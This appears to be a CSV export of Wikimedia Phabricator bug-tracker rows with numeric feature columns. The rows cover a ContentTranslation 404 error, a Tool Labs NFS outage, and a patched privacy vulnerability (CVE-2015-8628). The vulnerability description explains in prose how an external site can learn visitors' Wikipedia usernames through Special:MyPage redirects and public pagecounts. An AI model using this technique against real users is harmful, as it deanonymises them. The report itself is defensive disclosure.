",,,1441730311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrowngubvcz7ahhreyyg,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.9285714285714284,0.8928571428571429,"Change 236831 had a related patch set uploaded (by Arlolra):
T111818: Update sitematrix.json for be-tarask

[[GERRIT_URL]]
"
522704,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,"Yes, we need to reimport the site matrix and deploy it.",,,1441728781,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jrowngubvcz7ahhreyyg,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,1.0,"Yes, we need to reimport the site matrix and deploy it."
111490,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Starting with 20150903195826, publishing for Content Translation fails with Error: parsoidserver-http: HTTP 404.

In log,

```
{""servedby"":""mw1146"",""error"":{""code"":""parsoidserver"",""info"":""parsoidserver-http:
HTTP 404"",""*"":""See https://fa.wikipedia.org/w/api.php for API usage""}}
```
etc",Unbreak Now!,100.0,1441346477,1441362567.0,PHID-USER-abr5ge6gl2ovg7jokpst,False,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-TASK-xzevd5dd7kbkodnypie3,task_description,resolved,True,c3,3,False,False,True,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.935483870967742,0.7741935483870968,"Starting with 20150903195826, publishing for Content Translation fails with Error: parsoidserver-http: HTTP 404.

In log,

``CODE``
etc"
520983,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,Thank you very much for the quick fix!,,,1441362567,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,True,,,9,True,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,Thank you very much for the quick fix!
520980,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,Caused by T100681,,,1441362527,,PHID-USER-ttw4tpoosxc4pbmskrla,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Caused by T100681
520963,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235998 merged by jenkins-bot:
Use the VirtualRESTService to configure CX

[[https://gerrit.wikimedia.org/r/235998]]",,,1441361579,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.095238095238095,0.9047619047619048,"Change 235998 merged by jenkins-bot:
Use the VirtualRESTService to configure CX

[[GERRIT_URL]]"
520954,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235998 restored by KartikMistry:
Use the VirtualRESTService to configure CX

Reason:
Restoring.

[[https://gerrit.wikimedia.org/r/235998]]",,,1441360838,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,32.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.36,0.8,"Change 235998 restored by KartikMistry:
Use the VirtualRESTService to configure CX

Reason:
Restoring.

[[GERRIT_URL]]"
520952,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235998 abandoned by KartikMistry:
Use the VirtualRESTService to configure CX

Reason:
Probably not cherry-picked correctly!

[[https://gerrit.wikimedia.org/r/235998]]",,,1441360737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.466666666666667,0.8333333333333334,"Change 235998 abandoned by KartikMistry:
Use the VirtualRESTService to configure CX

Reason:
Probably not cherry-picked correctly!

[[GERRIT_URL]]"
520951,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235993 merged by jenkins-bot:
Use the VirtualRESTService to configure CX

[[https://gerrit.wikimedia.org/r/235993]]",,,1441360638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.095238095238095,0.9047619047619048,"Change 235993 merged by jenkins-bot:
Use the VirtualRESTService to configure CX

[[GERRIT_URL]]"
520949,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235998 had a related patch set uploaded (by KartikMistry):
Use the VirtualRESTService to configure CX

[[https://gerrit.wikimedia.org/r/235998]]
",,,1441360587,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.269230769230769,0.8846153846153846,"Change 235998 had a related patch set uploaded (by KartikMistry):
Use the VirtualRESTService to configure CX

[[GERRIT_URL]]
"
520914,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235993 had a related patch set uploaded (by Santhosh):
Use the VirtualRESTService to configure CX

[[https://gerrit.wikimedia.org/r/235993]]
",,,1441357254,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.115384615384615,0.8846153846153846,"Change 235993 had a related patch set uploaded (by Santhosh):
Use the VirtualRESTService to configure CX

[[GERRIT_URL]]
"
520867,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,This is very happening very frequent now.,,,1441347868,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.375,0.875,This is very happening very frequent now.
110827,"No file system on toollabs, unable to login, web service broken","multichill@tools-bastion-01:~/queries/wikidata$ ls
(nothing happens)

>ssh tools-login.wmflabs.org
(just times out)

Web service on http://tools.wmflabs.org/ also broken. It gives 500 Internal Server Error (currently replaced by a ""Our servers are currently experiencing a technical problem. "" placeholder)",Unbreak Now!,100.0,1440927078,1441187647.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-TASK-ix7wx66mjeatiwoyxvel,task_description,resolved,True,c3,3,True,False,True,8,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,6.0,6.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.549019607843137,0.803921568627451,"multichill@tools-bastion-01:~/queries/wikidata$ ls
(nothing happens)

QUOTE
(just times out)

Web service on URL also broken. It gives 500 Internal Server Error (currently replaced by a ""Our servers are currently experiencing a technical problem. "" placeholder)"
519091,"No file system on toollabs, unable to login, web service broken","The initial issue was resolved sunday afternoon (CEST), but I forgot to close the task at that point.",,,1441187699,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,14.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,"The initial issue was resolved sunday afternoon (CEST), but I forgot to close the task at that point."
517350,"No file system on toollabs, unable to login, web service broken",Tool operators are getting a lot of failed jobs emails. All because of the outage. Emails should all have a timestamp that falls in the outage period.,,,1440942359,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,33.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,10.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,4.133333333333334,0.8,Tool operators are getting a lot of failed jobs emails. All because of the outage. Emails should all have a timestamp that falls in the outage period.
517348,"No file system on toollabs, unable to login, web service broken",The NFS server and tool labs are back online.,,,1440941153,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,The NFS server and tool labs are back online.
517317,"No file system on toollabs, unable to login, web service broken",I wonder why you haven't a redundant NFS server system not yet.,,,1440932489,,PHID-USER-ickdtj74yzf6prch3hms,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,I wonder why you haven't a redundant NFS server system not yet.
517307,"No file system on toollabs, unable to login, web service broken",The last successful backup of tools is from 2015-08-30T01:59:35.787Z so at least we have a very recent backup,,,1440930533,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,5.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,4.181818181818182,0.9090909090909091,The last successful backup of tools is from 2015-08-30T01:59:35.787Z so at least we have a very recent backup
517304,"No file system on toollabs, unable to login, web service broken",https://phabricator.wikimedia.org/T110832 for NFS issues.,,,1440930202,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,URL for NFS issues.
517297,"No file system on toollabs, unable to login, web service broken","The NFS server is down due to some kernel issues, we're working on it.",,,1440928296,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.3529411764705883,1.0,"The NFS server is down due to some kernel issues, we're working on it."
517294,"No file system on toollabs, unable to login, web service broken",Yuvi is working on this,,,1440927924,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.8,1.0,Yuvi is working on this
109724,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"A request to  Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears  in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh by making a browser calling such  a special page, (for example via an iframe or an embedded image or an ajax call)  and by afterwards consulting the pagecounts an external site can know that my login is Xavier_Combelle and eventually correlate it with the ip or any personal information it has on me.

As I thought about a way to the best way to solve this issue would be to make a soft redirect instead of an hard one.

---
**patches: **
* master: {F2879417} + {F2977061}
* 1.23 - included in {F3112777}
* 1.24 - included in {F3113508}
* 1.25 - included in {F3110764}
* 1.26 - included in {F3110761}
**CVE:** CVE-2015-8628",Unbreak Now!,100.0,1440086810,1447972340.0,PHID-USER-h66anukl4e5enszrrt3t,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-qnjqhzdrle7shsx3w37a,task_description,resolved,True,c3,3,False,False,False,7,True,0.5,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,1.5,0.5,1.5,11.0,0.0,1.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.5,0.5,0.5,1.5,1.0,1.0,0.0,0.0,0.5,0.0,2.5,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,8.5,0.5,3.0,9.5,0.0,0.0,0.0,0.0,2.5,0.5,5.5,0.0,2.5,11.0,7.0,0.0,0.0,0.0,2.5,0.0,0.0,5.5,0.5,1.5,0.0,0.5,0.0,3.6870428422152557,0.639367816091954,"A request to  Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears  in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh by making a browser calling such  a special page, (for example via an iframe or an embedded image or an ajax call)  and by afterwards consulting the pagecounts an external site can know that my login is Xavier_Combelle and eventually correlate it with the ip or any personal information it has on me.

As I thought about a way to the best way to solve this issue would be to make a soft redirect instead of an hard one.

---
**patches: **
* master: {F2879417} + {F2977061}
* 1.23 - included in {F3112777}
* 1.24 - included in {F3113508}
* 1.25 - included in {F3110764}
* 1.26 - included in {F3110761}
**CVE:** CVE-2015-8628"
1222202,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"To confirm that this is working as intended:

1. Open private/incognito window.
2. Disable JavaScript (e.g. Dev Tools, cmd+shift+P, Disable J.., accept).
3. Load <https://en.wikipedia.org/wiki/Special:Mypage/abc>.

Expected result: Confirm that you see `User:.../abc` in the title, but address bar still shows `Special:Mypage/abc`.

(When JavaScript is enabled, we use the History API to dynamically rewrite the address bar to be what we'd previously redirect to.)",,,1549652927,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,188,True,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,9.0,12.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,5.0,3.67032967032967,0.6923076923076923,"To confirm that this is working as intended:

1. Open private/incognito window.
2. Disable JavaScript (e.g. Dev Tools, cmd+shift+P, Disable J.., accept).
3. Load <URL

Expected result: Confirm that you see CODE in the title, but address bar still shows CODE.

(When JavaScript is enabled, we use the History API to dynamically rewrite the address bar to be what we'd previously redirect to.)"
1222201,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"To confirm that this is working as intended:

1. Open private/incognito window.
2. Disable JavaScript (e.g. Dev Tools, cmd+shift+P, Disable J.., accept).
3. Load <https://en.wikipedia.org/wiki/Special:Mypage/abc>.

Expected result: Confirm that you see `User:.../abc` in the title, but address bar still shows `Special:Mypage/abc`.

